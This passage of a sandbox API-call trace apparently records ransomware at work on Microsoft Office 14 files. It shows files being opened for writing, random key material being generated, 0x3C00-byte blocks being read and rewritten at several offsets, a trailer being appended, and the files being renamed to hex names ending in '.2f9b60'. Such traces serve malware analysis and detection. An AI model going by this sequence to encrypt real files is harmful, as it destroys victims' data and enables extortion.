_Dest=0x430fda7e, _Format="%c%c" | out: _Dest="6d") returned 2 [0208.936] sprintf (in: _Dest=0x430fda80, _Format="%c%c" | out: _Dest="88") returned 2 [0208.936] sprintf (in: _Dest=0x430fda82, _Format="%c%c" | out: _Dest="32") returned 2 [0208.936] sprintf (in: _Dest=0x430fda84, _Format="%c%c" | out: _Dest="a5") returned 2 [0208.936] sprintf (in: _Dest=0x430fda86, _Format="%c%c" | out: _Dest="ae") returned 2 [0208.936] sprintf (in: _Dest=0x430fda88, _Format="%c%c" | out: _Dest="62") returned 2 [0208.936] sprintf (in: _Dest=0x430fda8a, _Format="%c%c" | out: _Dest="88") returned 2 [0208.936] RtlInitAnsiString (in: DestinationString=0x419ffa68, SourceString="1d54d286436bd202671d55c5f7d2a8af910df473f523b9294ac4805bd497f1281c7f3b1bc942cfef8d622dcc24844e835de4fd1fbf87d409c92bb63b7d74eff373fe96331985744acbf1c442f571c4a94173d753d42a486d8832a5ae6288" | out: DestinationString="1d54d286436bd202671d55c5f7d2a8af910df473f523b9294ac4805bd497f1281c7f3b1bc942cfef8d622dcc24844e835de4fd1fbf87d409c92bb63b7d74eff373fe96331985744acbf1c442f571c4a94173d753d42a486d8832a5ae6288") [0208.936] RtlAnsiStringToUnicodeString (in: DestinationString=0x419ffa38, SourceString="1d54d286436bd202671d55c5f7d2a8af910df473f523b9294ac4805bd497f1281c7f3b1bc942cfef8d622dcc24844e835de4fd1fbf87d409c92bb63b7d74eff373fe96331985744acbf1c442f571c4a94173d753d42a486d8832a5ae6288", AllocateDestinationString=1 | out: DestinationString="1d54d286436bd202671d55c5f7d2a8af910df473f523b9294ac4805bd497f1281c7f3b1bc942cfef8d622dcc24844e835de4fd1fbf87d409c92bb63b7d74eff373fe96331985744acbf1c442f571c4a94173d753d42a486d8832a5ae6288") returned 0x0 [0208.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x17a) returned 0x1b7b1dc0 [0208.937] wcscat (in: _Dest=0x430fd9d0, _Source="1d54d286436bd202671d55c5f7d2a8af910df473f523b92" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1d54d286436bd202671d55c5f7d2a8af910df473f523b92") returned="C:\\Program Files\\Microsoft Office\\Office14\\1d54d286436bd202671d55c5f7d2a8af910df473f523b92" [0208.937] wcscat (in: _Dest=0x430fd9d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1d54d286436bd202671d55c5f7d2a8af910df473f523b92.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1d54d286436bd202671d55c5f7d2a8af910df473f523b92.2f9b60" [0208.937] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1d54d286436bd202671d55c5f7d2a8af910df473f523b92.2f9b60", NtPathName=0x419ffa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1d54d286436bd202671d55c5f7d2a8af910df473f523b92.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b799430 Thread: id = 1475 os_tid = 0x1960 [0120.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml")) returned 0x20 [0120.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml", dwFileAttributes=0x20) returned 1 [0120.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1854 [0120.242] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x41b0f7c0 | out: lpFileSize=0x41b0f7c0*=538583) returned 1 [0120.242] SetFilePointerEx (in: hFile=0x1854, liDistanceToMove=0x837d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.242] ReadFile (in: hFile=0x1854, lpBuffer=0x41b0f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x41b0f788, lpOverlapped=0x0 | out: lpBuffer=0x41b0f740*, lpNumberOfBytesRead=0x41b0f788*=0x4, lpOverlapped=0x0) returned 1 [0122.398] SetFilePointerEx (in: hFile=0x1854, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d9f0 [0122.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050da50 [0122.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dae0 [0122.398] NtQuerySystemTime (in: CurrentTime=0x41b0f680 | out: CurrentTime=0x41b0f680*=132462177277870000) returned 0x0 [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x2b56419 [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x7c632640 [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x138c2af6 [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x27dfa528 [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x7f6663c0 [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x53677f2f [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x4baf5e08 [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x5a1ad2d7 [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x782f530d [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x4887c732 [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x49f306db [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x3080569a [0122.398] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x64ff877d [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x722e630f [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x41272a0e [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x78bd08a5 [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x16e7cb2a [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x3a2cda4d [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x5d12ca5 [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x4c8b3881 [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x79239b35 [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0xb105d2d [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x52e144b6 [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x2a07acb0 [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x6d92b3a6 [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x52abdc6 [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x2863ed30 [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x730614da [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x36e7a887 [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x22b90e6a [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x31564325 [0122.399] RtlRandomEx (in: Seed=0x41b0f670 | out: Seed=0x41b0f670) returned 0x4870a0b9 [0122.405] SetFilePointerEx (in: hFile=0x1854, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.405] ReadFile (in: hFile=0x1854, lpBuffer=0x41f885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x41b0f6e0, lpOverlapped=0x0 | out: lpBuffer=0x41f885a0*, lpNumberOfBytesRead=0x41b0f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0122.421] SetFilePointerEx (in: hFile=0x1854, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0122.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0122.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc30 [0122.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dc30) returned 1 [0122.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20180d80 [0122.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc30 [0122.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc60 [0122.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dc60) returned 1 [0122.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0122.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0122.422] WriteFile (in: hFile=0x1854, lpBuffer=0x20180d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x41b0f6e0, lpOverlapped=0x0 | out: lpBuffer=0x20180d80*, lpNumberOfBytesWritten=0x41b0f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20180d80) returned 1 [0161.172] SetFilePointerEx (in: hFile=0x1854, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.172] ReadFile (in: hFile=0x1854, lpBuffer=0x41f885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x41b0f6e0, lpOverlapped=0x0 | out: lpBuffer=0x41f885a0*, lpNumberOfBytesRead=0x41b0f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0165.705] SetFilePointerEx (in: hFile=0x1854, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0165.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b7f0 [0165.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b7f0) returned 1 [0165.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429cbe10 [0165.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b7f0 [0165.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b790 [0165.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b790) returned 1 [0165.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0165.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.707] WriteFile (in: hFile=0x1854, lpBuffer=0x429cbe10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x41b0f6e0, lpOverlapped=0x0 | out: lpBuffer=0x429cbe10*, lpNumberOfBytesWritten=0x41b0f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429cbe10) returned 1 [0194.949] SetFilePointerEx (in: hFile=0x1854, liDistanceToMove=0x7fbd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.950] ReadFile (in: hFile=0x1854, lpBuffer=0x41f885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x41b0f6e0, lpOverlapped=0x0 | out: lpBuffer=0x41f885a0*, lpNumberOfBytesRead=0x41b0f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.074] SetFilePointerEx (in: hFile=0x1854, liDistanceToMove=0x7fbd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0198.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0198.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1310 [0198.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1310) returned 1 [0198.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f5f0f0 [0198.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1310 [0198.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0a70 [0198.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0a70) returned 1 [0198.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0198.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0198.078] WriteFile (in: hFile=0x1854, lpBuffer=0x41f5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x41b0f6e0, lpOverlapped=0x0 | out: lpBuffer=0x41f5f0f0*, lpNumberOfBytesWritten=0x41b0f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0211.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f5f0f0) returned 1 [0211.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fa60 [0211.557] SetFilePointerEx (in: hFile=0x1854, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0211.557] WriteFile (in: hFile=0x1854, lpBuffer=0x1b7b1c30*, nNumberOfBytesToWrite=0x184, lpNumberOfBytesWritten=0x41b0f790, lpOverlapped=0x0 | out: lpBuffer=0x1b7b1c30*, lpNumberOfBytesWritten=0x41b0f790*=0x184, lpOverlapped=0x0) returned 1 [0215.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058fb0 [0215.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce245a0 [0215.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861110 [0215.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861110) returned 1 [0215.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86550 [0215.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861110 [0215.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861080 [0215.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861080) returned 1 [0215.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0215.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058fb0) returned 1 [0215.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa5) returned 0x1ce16d40 [0215.585] sprintf (in: _Dest=0x1ce16d40, _Format="%c%c" | out: _Dest="74") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d42, _Format="%c%c" | out: _Dest="73") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d44, _Format="%c%c" | out: _Dest="3c") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d46, _Format="%c%c" | out: _Dest="09") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d48, _Format="%c%c" | out: _Dest="9a") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d4a, _Format="%c%c" | out: _Dest="c2") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d4c, _Format="%c%c" | out: _Dest="35") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d4e, _Format="%c%c" | out: _Dest="4d") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d50, _Format="%c%c" | out: _Dest="7b") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d52, _Format="%c%c" | out: _Dest="e2") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d54, _Format="%c%c" | out: _Dest="b9") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d56, _Format="%c%c" | out: _Dest="8d") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d58, _Format="%c%c" | out: _Dest="42") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d5a, _Format="%c%c" | out: _Dest="ff") returned 2 [0215.585] sprintf (in: _Dest=0x1ce16d5c, _Format="%c%c" | out: _Dest="cd") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d5e, _Format="%c%c" | out: _Dest="f7") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d60, _Format="%c%c" | out: _Dest="c8") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d62, _Format="%c%c" | out: _Dest="46") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d64, _Format="%c%c" | out: _Dest="01") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d66, _Format="%c%c" | out: _Dest="6b") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d68, _Format="%c%c" | out: _Dest="59") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d6a, _Format="%c%c" | out: _Dest="2b") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d6c, _Format="%c%c" | out: _Dest="85") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d6e, _Format="%c%c" | out: _Dest="c6") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d70, _Format="%c%c" | out: _Dest="d9") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d72, _Format="%c%c" | out: _Dest="c7") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d74, _Format="%c%c" | out: _Dest="ca") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d76, _Format="%c%c" | out: _Dest="52") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d78, _Format="%c%c" | out: _Dest="50") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d7a, _Format="%c%c" | out: _Dest="7b") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d7c, _Format="%c%c" | out: _Dest="20") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d7e, _Format="%c%c" | out: _Dest="7e") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d80, _Format="%c%c" | out: _Dest="5c") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d82, _Format="%c%c" | out: _Dest="e4") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d84, _Format="%c%c" | out: _Dest="3e") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d86, _Format="%c%c" | out: _Dest="1b") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d88, _Format="%c%c" | out: _Dest="b7") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d8a, _Format="%c%c" | out: _Dest="93") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d8c, _Format="%c%c" | out: _Dest="8a") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d8e, _Format="%c%c" | out: _Dest="5d") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d90, _Format="%c%c" | out: _Dest="11") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d92, _Format="%c%c" | out: _Dest="89") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d94, _Format="%c%c" | out: _Dest="2e") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d96, _Format="%c%c" | out: _Dest="de") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d98, _Format="%c%c" | out: _Dest="76") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d9a, _Format="%c%c" | out: _Dest="6f") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d9c, _Format="%c%c" | out: _Dest="aa") returned 2 [0215.586] sprintf (in: _Dest=0x1ce16d9e, _Format="%c%c" | out: _Dest="ee") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16da0, _Format="%c%c" | out: _Dest="69") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16da2, _Format="%c%c" | out: _Dest="d4") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16da4, _Format="%c%c" | out: _Dest="da") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16da6, _Format="%c%c" | out: _Dest="f0") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16da8, _Format="%c%c" | out: _Dest="b9") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16daa, _Format="%c%c" | out: _Dest="ed") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dac, _Format="%c%c" | out: _Dest="55") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dae, _Format="%c%c" | out: _Dest="10") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16db0, _Format="%c%c" | out: _Dest="db") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16db2, _Format="%c%c" | out: _Dest="2d") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16db4, _Format="%c%c" | out: _Dest="91") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16db6, _Format="%c%c" | out: _Dest="8e") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16db8, _Format="%c%c" | out: _Dest="24") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dba, _Format="%c%c" | out: _Dest="9f") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dbc, _Format="%c%c" | out: _Dest="d9") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dbe, _Format="%c%c" | out: _Dest="b1") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dc0, _Format="%c%c" | out: _Dest="aa") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dc2, _Format="%c%c" | out: _Dest="72") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dc4, _Format="%c%c" | out: _Dest="76") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dc6, _Format="%c%c" | out: _Dest="c4") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dc8, _Format="%c%c" | out: _Dest="50") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dca, _Format="%c%c" | out: _Dest="4e") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dcc, _Format="%c%c" | out: _Dest="59") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dce, _Format="%c%c" | out: _Dest="59") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dd0, _Format="%c%c" | out: _Dest="df") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dd2, _Format="%c%c" | out: _Dest="d2") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dd4, _Format="%c%c" | out: _Dest="71") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dd6, _Format="%c%c" | out: _Dest="4d") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dd8, _Format="%c%c" | out: _Dest="c9") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dda, _Format="%c%c" | out: _Dest="5b") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16ddc, _Format="%c%c" | out: _Dest="3a") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16dde, _Format="%c%c" | out: _Dest="a8") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16de0, _Format="%c%c" | out: _Dest="ac") returned 2 [0215.587] sprintf (in: _Dest=0x1ce16de2, _Format="%c%c" | out: _Dest="49") returned 2 [0215.588] RtlInitAnsiString (in: DestinationString=0x41b0f808, SourceString="74733c099ac2354d7be2b98d42ffcdf7c846016b592b85c6d9c7ca52507b207e5ce43e1bb7938a5d11892ede766faaee69d4daf0b9ed5510db2d918e249fd9b1aa7276c4504e5959dfd2714dc95b3aa8ac49" | out: DestinationString="74733c099ac2354d7be2b98d42ffcdf7c846016b592b85c6d9c7ca52507b207e5ce43e1bb7938a5d11892ede766faaee69d4daf0b9ed5510db2d918e249fd9b1aa7276c4504e5959dfd2714dc95b3aa8ac49") [0215.588] RtlAnsiStringToUnicodeString (in: DestinationString=0x41b0f7d8, SourceString="74733c099ac2354d7be2b98d42ffcdf7c846016b592b85c6d9c7ca52507b207e5ce43e1bb7938a5d11892ede766faaee69d4daf0b9ed5510db2d918e249fd9b1aa7276c4504e5959dfd2714dc95b3aa8ac49", AllocateDestinationString=1 | out: DestinationString="74733c099ac2354d7be2b98d42ffcdf7c846016b592b85c6d9c7ca52507b207e5ce43e1bb7938a5d11892ede766faaee69d4daf0b9ed5510db2d918e249fd9b1aa7276c4504e5959dfd2714dc95b3aa8ac49") returned 0x0 [0215.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14a) returned 0x430bda60 [0215.588] wcscat (in: _Dest=0x431ee2e0, _Source="74733c099ac2354d7be2b98d42ffcdf7c846016b5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\74733c099ac2354d7be2b98d42ffcdf7c846016b5") returned="C:\\Program Files\\Microsoft Office\\Office14\\74733c099ac2354d7be2b98d42ffcdf7c846016b5" [0215.588] wcscat (in: _Dest=0x431ee2e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\74733c099ac2354d7be2b98d42ffcdf7c846016b5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\74733c099ac2354d7be2b98d42ffcdf7c846016b5.2f9b60" [0215.588] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\74733c099ac2354d7be2b98d42ffcdf7c846016b5.2f9b60", NtPathName=0x41b0f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\74733c099ac2354d7be2b98d42ffcdf7c846016b5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x43156b80 Thread: id = 1477 os_tid = 0x1968 [0120.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl")) returned 0x20 [0120.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", dwFileAttributes=0x20) returned 1 [0120.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1694 [0120.649] GetFileSizeEx (in: hFile=0x1694, lpFileSize=0x1d3ef680 | out: lpFileSize=0x1d3ef680*=43558) returned 1 [0120.649] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0xaa22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.649] ReadFile (in: hFile=0x1694, lpBuffer=0x1d3ef600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d3ef648, lpOverlapped=0x0 | out: lpBuffer=0x1d3ef600*, lpNumberOfBytesRead=0x1d3ef648*=0x4, lpOverlapped=0x0) returned 1 